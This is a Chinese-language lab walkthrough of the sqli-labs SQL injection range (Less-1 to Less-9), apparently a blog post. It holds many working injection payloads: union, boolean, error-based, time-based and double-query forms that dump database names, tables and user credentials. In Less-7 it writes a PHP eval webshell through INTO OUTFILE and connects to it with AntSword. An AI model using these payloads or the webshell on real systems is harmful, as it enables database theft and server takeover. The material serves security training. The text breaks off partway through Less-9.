• SQL注入靶机练习:BUU SQL COURSE 1


    一、MySQL基础

           MySQL基础入门学习笔记(一)
           MySQL基础入门学习笔记(二)

    1.1 查看表结构

    功能命令
    登陆数据库mysql -u -p
    查看有哪些数据库show databases;
    创建数据库create database <数据库名>;
    指定当前缺省数据库use <数据库名>;
    查看当前使用的数据库中有哪些表show tables;
    删除数据库drop database <数据库名>;
    查看表结构desc <表名>;
    使用source命令导入sql文件source (可以直接将文件拖到DOS窗口)

    1.2 常用命令

    功能命令
    查看当前使用的是哪个数据库select database();
    查看mysql的版本号select version();
    结束一条语句\c
    退出mysqlexit

    1.3 SQL注入常用函数

    函数作用
    length(str)返回字符串str的长度
    substr(str, pos, len)将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
    mid(str,pos,len)跟上面的一样,截取字符串
    ascii(str)返回字符串str的最左面字符的ASCII代码值
    ord(str)将字符或布尔类型转成ascll码
    if(a,b,c)a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
    system_user()系统用户名
    user()用户名
    database()数据库名
    version()数据库版本
    @@datadir读取安装MYSQL的数据文件路径
    basedir()读取安装MYSQL的安装路径

           字符串连接函数:

    函数作用
    concat(str1,str2…)将多个字符串连接在一起,没有分隔符
    concat_ws(分隔符,str1,str2…)可以按指定的分隔符连接多个字符串
    group_concat(str1,str2…)将多行数据按照指定的顺序和分隔符连接成一个字符串,默认分隔符是逗号,也可以指定分隔符:group_concat(username,‘^’,password)

    二、SQL注入基础知识

           渗透攻防Web篇-深入浅出SQL注入

    2.1 前置知识

           mysql5.0以上版本中存在一个重要的系统数据库information_schema,通过此数据库可访问mysql中存在的数据库名、表名、字段名等元数据。information_schema中有三个表成为了sql注入构造的关键。

    1)information_schema.columns:
           table_schema    数据库名
           table_name        表名
           column_name    列名

    2)information_schema.tables
           table_schema    数据库名
           table_name       表名
    3)information_schema.schemata
           schema_name   数据库名

    2.2 常用闭合语句

    or 1=1 --+
    'or 1=1 --+
    "or 1=1 --+
    )or 1=1 --+
    ')or 1=1 --+
    '))or 1=1 --+
    ")or 1=1 --+
    "))or 1=1 --+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    2.3 基础注入语句

    1、确定字段数
    	order by 1  
    2、联合注入确定显示字段位置
    	union select 1,2,3   
    3、爆所有数据库
    	select group_concat(schema_name) from information_schema.schemata 
    4、爆指定数据库所有表
    	select group_concat(table_name) from information_schema.tables where table_schema='数据库名'
    5、爆指定数据库中指定表所有字段
    	select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'
    6、爆指定表中所有数据
    	select group_concat(字段1,'^',字段2) from '数据库名'.'表名'
    7、布尔注入
    	' and length(database())>=1--+
    	' and substr(database(),1,1)='t'--+
    	' and ord(substr(database(),1,1))=115--+
    8、报错注入
    	1' and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e),1)--+
    	1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
    	1' and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e))--+
    	1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
    9、时间盲注
    	1’ and if (length(database())>1,sleep(5),1)
    	
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    三、SQLi-LABS 1-22关(Basic Challenges)

    0、安装sqli-labs靶机

           使用PHPstudy搭建靶机,搭建的帖子很多,这里不再赘述
           sqlmap下载地址:https://sqlmap.org/
           PHPstudy下载地址:https://www.xp.cn/download.html
           sqli-labs下载地址:https://github.com/Audi-1/sqli-labs

    1、Less-1   GET - Error based - Single quotes - String

           由题目可知为单引号字符型
           一个单引号报错,两个单引号不报错也可以看出为字符型注入
    在这里插入图片描述
    在这里插入图片描述
    1、order by确定有几个字段

    http://sqli-labs.com/Less-1/?id=1' order by 4--+
    
    • 1

    在这里插入图片描述

    2、联合查询确定回显位置

    	http://sqli-labs.com/Less-1/?id=-1' union select 1,2,3--+
    
    • 1

    在这里插入图片描述

    3、爆数据库

    http://sqli-labs.com/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
    
    • 1

    在这里插入图片描述

    4、爆指定库中所有表

    http://sqli-labs.com/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+
    
    • 1

    在这里插入图片描述

    5、爆指定表中所有字段

    http://sqli-labs.com/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+
    
    • 1

    在这里插入图片描述

    6、爆表中数据

    http://sqli-labs.com/Less-1/?id=-1' union select 1,2,group_concat(username,'^',password) from security.users--+
    
    • 1

    在这里插入图片描述

    2、Less-2   GET - Error based - Intiger based

           由题目可知为数字型
           一个单引号报错,两个单引号也报错,输入?id=1 and 1=2–+显示为空,输入?id=1 and 1=1–+正常返回结果,可知为整数型注入
    在这里插入图片描述
    在这里插入图片描述
    使用的payload如下:

    1、order by确定有几个字段
    	http://sqli-labs.com/Less-2/?id=1 order by 4--+
    2、联合查询确定回显位置
    	http://sqli-labs.com/Less-2/?id=-1 union select 1,2,3--+
    3、爆数据库
    	http://sqli-labs.com/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
    4、爆指定库中所有表
    	http://sqli-labs.com/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+
    5、爆指定表中所有字段
    	http://sqli-labs.com/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+
    6、爆表中数据
    	http://sqli-labs.com/Less-2/?id=-1 union select 1,2,group_concat(username,'^',password) from security.users--+
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    3、Less-3   GET - Error based - Single quotes with twist - String

           由题目可知为单引号变形字符型注入
           1个单引号报错,2个单引号正常显示,且报错中出现了),经过几次试探后确定需要使用单引号+右括号来完成闭合
    在这里插入图片描述
    使用的payload如下:

    1、order by确定有几个字段
    	http://sqli-labs.com/Less-3/?id=1') order by 4--+
    2、联合查询确定回显位置
    	http://sqli-labs.com/Less-3/?id=-1') union select 1,2,3--+
    3、爆数据库
    	http://sqli-labs.com/Less-3/?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata--+
    4、爆指定库中所有表
    	http://sqli-labs.com/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+
    5、爆指定表中所有字段
    	http://sqli-labs.com/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+
    6、爆表中数据
    	http://sqli-labs.com/Less-3/?id=-1') union select 1,2,group_concat(username,'^',password) from security.users--+
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    4、Less-4   GET - Error based - Double Quotes - String

           由题目可知为双引号字符型注入
           这里需要使用双引号+右括号来闭合
    使用的payload如下:

    1、order by确定有几个字段
    	http://sqli-labs.com/Less-4/?id=1") order by 4--+
    2、联合查询确定回显位置
    	http://sqli-labs.com/Less-4/?id=-1") union select 1,2,3--+
    3、爆数据库
    	http://sqli-labs.com/Less-4/?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata--+
    4、爆指定库中所有表
    	http://sqli-labs.com/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+
    5、爆指定表中所有字段
    	http://sqli-labs.com/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+
    6、爆表中数据
    	http://sqli-labs.com/Less-4/?id=-1") union select 1,2,group_concat(username,'^',password) from security.users--+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    5、Less-5   GET - Double Injection - Single Quotes - String

           一个单引号报错,两个单引号正常显示,但是不会显示数据,这里的结果只有正确或错误两种结果。针对这种情况,可以使用布尔注入、报错注入、时间注入等方法来爆破数据库。从题目可以看出这里考查的是双注入的知识点,详细可以参考Mysql中Double Injection原理浅析
           以下将会分别使用双注入、布尔注入、报错注入、时间盲注来进行解题

    5. 1. 双注入

    双注入的语句比较麻烦,可以先在MySQL中练习调试一下。登录PHP study中MySQL的方法如下:
    进入到MySQL所在目录,我这里是D:\software\phpstudy_pro\Extensions\MySQL5.7.26\bin,目录栏直接输入cmd调出cmd终端,输入mysql -u root -p ,然后输入密码即可成功登陆数据库
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    使用的payload如下:

    1、order by确定有几个字段
    	1' order by 4 --+
    2、查看当前数据库
    	-1' union select concat_ws("^",database(),floor(rand(14)*2))x,2,count(*) from information_schema.columns group by x--+
    3、爆数据库
    	-1' union select concat_ws("^",(select group_concat(schema_name) from information_schema.schemata),floor(rand(14)*2))x,2,count(*) from information_schema.columns group by x--+
    	//使用上面的命令会显示不全数据库名,可以配合limit
    	-1' union select concat_ws("^",(select schema_name from information_schema.schemata limit 0,1),floor(rand(14)*2))x,2,count(*) from information_schema.columns group by x--+
    4、爆指定库中所有表
    	-1' union select concat_ws("^",(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand(14)*2))x,2,count(*) from information_schema.columns group by x--+
    5、爆指定表中所有字段
    	-1' union select concat_ws("^",(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name = 'users'),floor(rand(14)*2))x,2,count(*) from information_schema.columns group by x--+
    6、爆表中数据
    	-1' union select concat_ws("^",(select concat_ws("^",username,password) from security.users limit 0,1),floor(rand(14)*2))x,2,count(*) from information_schema.columns group by x--+
    	
    这里不知道为什么使用group_concat()没办法一次性把数据爆出来,只会显示You are in ...
    	-1' union select concat_ws("^",(select group_concat(username,"^",password) from security.users),floor(rand(14)*2))x,2,count(*) from information_schema.columns group by x--+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    对应的执行结果如下:
    爆数据库
    在这里插入图片描述
    爆指定库中所有表
    在这里插入图片描述
    爆指定表中所有字段
    在这里插入图片描述

    爆表中数据
    在这里插入图片描述

    5.2. 布尔注入

    布尔注入常用函数为length()和substr(str, start, length),常用payload为:

    ' and length(database())>=1--+
    ' and substr(database(),1,1)='t'--+
    ' and ord(substr(database(),1,1))=115--+
    
    • 1
    • 2
    • 3

    使用的payload如下:

    1、爆数据库
    	//注意:因为length函数不支持直接对子查询进行操作,因此需要先使用substr函数将查询结果转换为字符串,然后再使用length函数计算其长度
    	1' and length(substr((select group_concat(schema_name) from information_schema.schemata),1))=75--+
    	//也可以使用下面的payload来逐个获取各数据库名的长度
    	1' and length(substr((select schema_name from information_schema.schemata limit 0,1),1))=18--+
    	//依次爆破每一位的字符
    	1' and substr((select group_concat(schema_name) from information_schema.schemata),1,1)='i'--+
    	//也可以通过ASCII码值来判断
    	1' and ord(substr((select group_concat(schema_name) from information_schema.schemata),1,1))=105--+	
    2、爆指定库中所有表
    	1' and length(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'),1))=29--+
    	//也可以使用下面的payload来逐个获取各表名的长度
    	1' and length(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1))=6--+
    	//依次爆破每一位的字符
    	1' and substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'),1,1)='e'--+
    	//也可以通过ASCII码值来判断
    	1' and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'),1,1))=101--+	
    3、爆指定表中所有字段
    	1' and length(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),1))=20--+
    	//也可以使用下面的payload来逐个获取各表名的长度
    	1' and length(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1),1))=2--+
    	//依次爆破每一位的字符
    	1' and substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),1,1)='i'--+
    	//也可以通过ASCII码值来判断
    	1' and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),1,1))=105--+	
    4、爆表中数据
    	//爆数据总长度
    	1' and length(substr((select group_concat(username,'^',password) from security.users),1))=188--+
    	//依次爆破每一位字符
    	1' and substr((select group_concat(username,'^',password) from security.users),1,1)='D'--+
    	//也可以通过ASCII码值来判断
    	1' and ord(substr((select group_concat(username,'^',password) from security.users),1,1))=68--+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    可配合burpsuite的intruder模块来爆破,操作步骤如下图所示:
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    5.3. 报错注入

    报错注入详细可参考:
    详细解读mysql十二种报错注入
    mysql注入入门之报错注入

    updatexml()函数
    
    • 1
    updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value);
    函数语法解析:
    XML_document:是字符串String格式,为XML文档对象名称
    Xpath_string:Xpath格式的字符串
    new_value:string格式,替换查找到的符合条件的数据
    适用版本:5.1.5+
    
    对应payload:
    1' and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e),1)--+
    1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    extractvalue()函数

    extractvalue()函数语法:extractvalue(XML_document,XPath_string)
    适用的版本:5.1.5+
    
    对应payload:
    1' and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e))--+
    1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    该关卡使用的payload如下:

    这里以updatexml()函数为例:
    1、爆数据库
    	1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--+     //因为需要注意: updatexml最多只能显示32位,因此需要配合limit或者substr使用
    	1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+ 
    2、爆指定库中所有表
    	1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),1)--+ 
    	1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+ 
    3、爆指定表中所有字段
    	1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name = 'users' ),0x7e),1)--+
    	1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name = 'users' limit 0,1),0x7e),1)--+
    4、爆表中数据
    	1' and updatexml(1,concat(0x7e,(select concat_ws("^",username,password) from security.users limit 0,1),0x7e),1)--+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    对应的执行结果如下:
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    5 4. 时间盲注

    时间注入是利用sleep()或benchmark()等函数让MySQL的执行时间变长,时间盲注多与if(expr1,expr2,expr3)结合使用,此if语句意思为:如果expr1是TRUE,则if()的返回值是expr2;否则返回值是expr3。
    payload格式为:

    if (length(database())>1,sleep(5),1)
    
    • 1

    该关卡使用的payload如下:

    1、爆数据库
    	//注意:因为length函数不支持直接对子查询进行操作,因此需要先使用substr函数将查询结果转换为字符串,然后再使用length函数计算其长度
    	1' and if (length(substr((select group_concat(schema_name) from information_schema.schemata),1))=75,sleep(5),1)--+
    	//也可以使用下面的payload来逐个获取各数据库名的长度
    	1' and if (length(substr((select schema_name from information_schema.schemata limit 0,1),1))=18,sleep(5),1)--+
    	//依次爆破每一位的字符
    	1' and if (substr((select group_concat(schema_name) from information_schema.schemata),1,1)='i',sleep(5),1)--+
    	//也可以通过ASCII码值来判断
    	1' and if (ord(substr((select group_concat(schema_name) from information_schema.schemata),1,1))=105,sleep(5),1)--+
    2、爆指定库中所有表
    	1' and if (length(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'),1))=29,sleep(5),1)--+
    	//也可以使用下面的payload来逐个获取各表名的长度
    	1' and if (length(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1))=6,sleep(5),1)--+
    	//依次爆破每一位的字符
    	1' and if (substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'),1,1)='e',sleep(5),1)--+
    	//也可以通过ASCII码值来判断
    	1' and if (ord(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'),1,1))=101,sleep(5),1)--+
    3、爆指定表中所有字段
    	1' and if (length(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),1))=20,sleep(5),1)--+
    	//也可以使用下面的payload来逐个获取各表名的长度
    	1' and if (length(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1),1))=2,sleep(5),1)--+
    	//依次爆破每一位的字符
    	1' and if (substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),1,1)='i',sleep(5),1)--+
    	//也可以通过ASCII码值来判断
    	1' and if (ord(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),1,1))=105,sleep(5),1)--+
    4、爆表中数据
    	//爆数据总长度
    	1' and if (length(substr((select group_concat(username,'^',password) from security.users),1))=188,sleep(5),1)--+
    	//依次爆破每一位字符
    	1' and if (substr((select group_concat(username,'^',password) from security.users),1,1)='D',sleep(5),1)--+
    	//也可以通过ASCII码值来判断
    	1' and if (ord(substr((select group_concat(username,'^',password) from security.users),1,1))=68,sleep(5),1)--+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    6、Less-6   GET - Double Injection - Double Quotes - String

           这里与第五关的思路类似,只需要把单引号替换为双引号即可,不再赘述
    双注入的payload如下:

    1、order by确定有几个字段
    	1" order by 4 --+
    2、查看当前数据库
    	-1" union select concat_ws("^",database(),floor(rand(14)*2))x,2,count(*) from information_schema.columns group by x--+
    3、爆数据库
    	-1" union select concat_ws("^",(select schema_name from information_schema.schemata limit 0,1),floor(rand(14)*2))x,2,count(*) from information_schema.columns group by x--+
    4、爆指定库中所有表
    	-1" union select concat_ws("^",(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand(14)*2))x,2,count(*) from information_schema.columns group by x--+
    5、爆指定表中所有字段
    	-1" union select concat_ws("^",(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name = 'users'),floor(rand(14)*2))x,2,count(*) from information_schema.columns group by x--+
    6、爆表中数据
    	-1" union select concat_ws("^",(select concat_ws("^",username,password) from security.users limit 0,1),floor(rand(14)*2))x,2,count(*) from information_schema.columns group by x--+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    对应的执行结果如下:
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    7、Less-7   GET - Dump into outfile - String

           
    Dump into outfile是MySQL数据库中的一条SQL语句,用于将查询结果导出到一个文件中。具体语法如下:

    SELECT column1, column2, ...
    INTO OUTFILE 'file_path'
    FROM table_name
    WHERE condition;
    
    • 1
    • 2
    • 3
    • 4

    这条语句会将SELECT查询的结果导出到指定的文件中。需要注意的是,MySQL服务器必须有权限在指定的文件路径上进行写操作。
    第七关的详细攻略可参考:
    SQL注入之sqli-labs(Less7-22)
    sqli-labs 通关指南:Less 7
    sqli-labs第七关(详讲)

    详细的过关方法如下:

    7.1. 环境配置–开启文件读写权限

    MySQL 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作。
    使用以下命令可以查看参数值:

    show variables like '%secure%';
    
    • 1

    PHPStudy连接数据库的方法可见本文第五关部分,查询结果如下:
    在这里插入图片描述

    通过修改 MySQL 的 my.ini 配置文件就可以启用权限,增加以下配置项到文件中:

    secure_file_priv="/"
    
    • 1

    我的路径是在D:\software\phpstudy_pro\Extensions\MySQL5.7.26\my.ini
    在这里插入图片描述

    在PHPStudy中重启MySQL,再次在MySQL中执行命令查询该参数,若参数值不为 null 则代表修改成功
    在这里插入图片描述
    在这里插入图片描述

    7. 2. 判断注入类型

    输入?id=1’报语法错误,输入?id=1"正常显示,说明是单引号的字符型注入
    在这里插入图片描述
    在这里插入图片描述
    但是输入?id=1’–+后仍然报语法错误,分别使用?id=1’)–+和?id=1’))–+进行闭合,最终试出第七关是1个单引号和 2 个括号闭合的字符型注入

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    7.3. 利用Dump into outfile写入文件

    这里可以利用Dump into outfile写入一句话木马,并使用蚁剑连接webshell拿到目标主机
    MySQL中写入文件有两个前置条件:(1)有写入权限,这个我们已经在第一步的时候配置好了(2)知道网站在服务器上的绝对路径
    因为第七关中只会打印You are或者语法错误,因此需要到前几关中去获取MySQL的绝对路径

    //这里以第一关为例
    id=-1' union select 1,@@basedir,@@datadir--+
    
    basedir()指定了安装MYSQL的安装路径
    datadir()指定了安装MYSQL的数据文件路径
    
    • 1
    • 2
    • 3
    • 4
    • 5

    执行结果如下:
    在这里插入图片描述
    这里可以根据MySQL的安装路径去推测PHPStudy部署的sqli-libs的网站默认路径,也可以通过前期信息收集来获取网站的绝对路径。
    我部署的靶机环境对默认的文件夹名做了简单修改,因此可以通过试探爆破或者其他信息收集来获取到网站的绝对路径。
    为方便演示,这里假设已经获取到了网站的绝对路径:D:\software\phpstudy_pro\WWW\sqli-labs\Less-7
    写入以下的一句话木马:

    <?php @eval($_POST["attack"]);?>
    
    • 1

    对应使用的payload为:

    1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "D:\\software\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\test.php" --+
    //注意:此处存在转义的问题,所有的 “\” 都要双写
    
    • 1
    • 2

    执行结果如下:
    在这里插入图片描述
    这里可以看到对应路径下已经成功写入webshell文件
    在这里插入图片描述

    7.4. 使用蚁剑连接webshell

    蚁剑下载网址以及安装教程可参考
    中国蚁剑(antSword)下载、安装、使用教程
    中国蚁剑 - AntSword
    打开蚁剑,右键选择添加数据,输入对应参数后点击测试连接,成功连接后点击添加,即可对网站中文件进行操作
    注意:操作时最好暂时关闭杀毒软件,否则电脑会把webshell文件当成病毒
    配置如下:
    在这里插入图片描述
    执行结果如下:
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    也可以连接到数据库,但是这里需要知道数据库的连接密码
    因为这里我们已经拿到了目标主机,因此可以查看数据库的配置文件来获取到数据库的连接信息:
    (1)首先进入命令终端
    在这里插入图片描述
    在这里插入图片描述
    进入到数据库配置文件的路径,我这里是D:\software\phpstudy_pro\WWW\sqli-labs\sql-connections\db-creds.inc
    然后直接more db-creds.inc即可看到数据库的配置信息
    在这里插入图片描述
    依次点击数据操作–>添加,输入参数后点击测试连接,连接成功后点击添加,双击左侧添加的数据即可查看数据库中的所有数据,执行过程如下所示:
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    8、Less-8   GET - Blind - Boolian Based - Single Quotes

           首先判断注入类型,分别使用?id=1、?id=1’ 、?id=1’–+查看执行结果,可以看到分别为正常显示、无显示、正常显示,可知注入类型为一个单引号的字符注入,且页面返回结果只有You are…和无返回两种结果,因此可以使用布尔注入来爆破数据
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    布尔注入常用函数为length()和substr(str, start, length),常用payload为:

    ' and length(database())>=1--+
    ' and substr(database(),1,1)='t'--+
    ' and ord(substr(database(),1,1))=115--+
    
    • 1
    • 2
    • 3

    因为第五关时候也使用了布尔注入的方法来获取数据,可以直接使用对应的payload
    这里可配合burpsuite的intruder模块来爆破,详见第五关中的截图演示,这里不再赘述
    使用的payload如下:

    1、爆数据库
    	//注意:因为length函数不支持直接对子查询进行操作,因此需要先使用substr函数将查询结果转换为字符串,然后再使用length函数计算其长度
    	1' and length(substr((select group_concat(schema_name) from information_schema.schemata),1))=75--+
    	//也可以使用下面的payload来逐个获取各数据库名的长度
    	1' and length(substr((select schema_name from information_schema.schemata limit 0,1),1))=18--+
    	//依次爆破每一位的字符
    	1' and substr((select group_concat(schema_name) from information_schema.schemata),1,1)='i'--+
    	//也可以通过ASCII码值来判断
    	1' and ord(substr((select group_concat(schema_name) from information_schema.schemata),1,1))=105--+	
    2、爆指定库中所有表
    	1' and length(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'),1))=29--+
    	//也可以使用下面的payload来逐个获取各表名的长度
    	1' and length(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1))=6--+
    	//依次爆破每一位的字符
    	1' and substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'),1,1)='e'--+
    	//也可以通过ASCII码值来判断
    	1' and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'),1,1))=101--+	
    3、爆指定表中所有字段
    	1' and length(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),1))=20--+
    	//也可以使用下面的payload来逐个获取各表名的长度
    	1' and length(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1),1))=2--+
    	//依次爆破每一位的字符
    	1' and substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),1,1)='i'--+
    	//也可以通过ASCII码值来判断
    	1' and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),1,1))=105--+	
    4、爆表中数据
    	//爆数据总长度
    	1' and length(substr((select group_concat(username,'^',password) from security.users),1))=188--+
    	//依次爆破每一位字符
    	1' and substr((select group_concat(username,'^',password) from security.users),1,1)='D'--+
    	//也可以通过ASCII码值来判断
    	1' and ord(substr((select group_concat(username,'^',password) from security.users),1,1))=68--+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    9、Less-9   GET - Blind - Time based - Single Quotes

           首先判断注入类型,分别使用以下payload试探,结果发现页面始终是一样的

    ?id=1
    ?id=1'
    ?id=1')
    ?id=1'))
    ?id=1')))
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    但是看题目又是基于单引号的时间盲注,因此先试探着用时间盲注的payload看看效果,结果可以生效,因此可以确定这一关代码应该做了特殊处理,可能不管什么语句都会返回一样的结果

    ?id=1' and if (length(database())>1,sleep(5),1)--+
    
    • 1

    在这里插入图片描述
    查看源代码,可以看到当执行查询语句时,不管查询结果如何,始终会输出同样的结果。因此只能利用sleep()或benchmark()函数让MySQl执行的时间变长,通过时间注入来进行爆破。
    在这里插入图片描述
    时间盲注多与if(expr1,expr2,expr3)结合使用,此if语句意思为:如果expr1是TRUE,则if()的返回值是expr2;否则返回值是expr3。
    payload格式为:

    if (length(database())>1,sleep(5),1)
    
    • 1

    因为第五关时候也使用了时间注入的方法来获取数据,可以直接使用对应的payload
    该关卡使用的payload如下:

    1、爆数据库
    	//注意:因为length函数不支持直接对子查询进行操作,因此需要先使用substr函数将查询结果转换为字符串,然后再使用length函数计算其长度
    	1' and if (length(substr((select group_concat(schema_name) from information_schema.schemata),1))=75,sleep(5),1)--+
    	//也可以使用下面的payload来逐个获取各数据库名的长度
    	1' and if (length(substr((select schema_name from information_schema.schemata limit 0,1),1))=18,sleep(5),1)--+
    	//依次爆破每一位的字符
    	1' and if (substr((select group_concat(schema_name) from information_schema.schemata),1,1)='i',sleep(5),1)--+
    	//也可以通过ASCII码值来判断
    	1' and if (ord(substr((select group_concat(schema_name) from information_schema.schemata),1,1))=105,sleep(5),1)--+
    2、爆指定库中所有表
    	1' and if (length(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'),1))=29,sleep(5),1)--+
    	//也可以使用下面的payload来逐个获取各表名的长度
    	1' and if (length(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1))=6,sleep(5),1)--+
    	//依次爆破每一位的字符
    	1' and if (substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'),1,1)='e',sleep(5),1)--+
    	//也可以通过ASCII码值来判断
    	1' and if (ord(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'),1,1))=101,sleep(5),1)--+
    3、爆指定表中所有字段
    	1' and if (length(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),1))=20,sleep(5),1)--+
    	//也可以使用下面的payload来逐个获取各表名的长度
    	1' and if (length(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1),1))=2,sleep(5),1)--+
    	//依次爆破每一位的字符
    	1' and if (substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),1,1)='i',sleep(5),1)--+
    	//也可以通过ASCII码值来判断
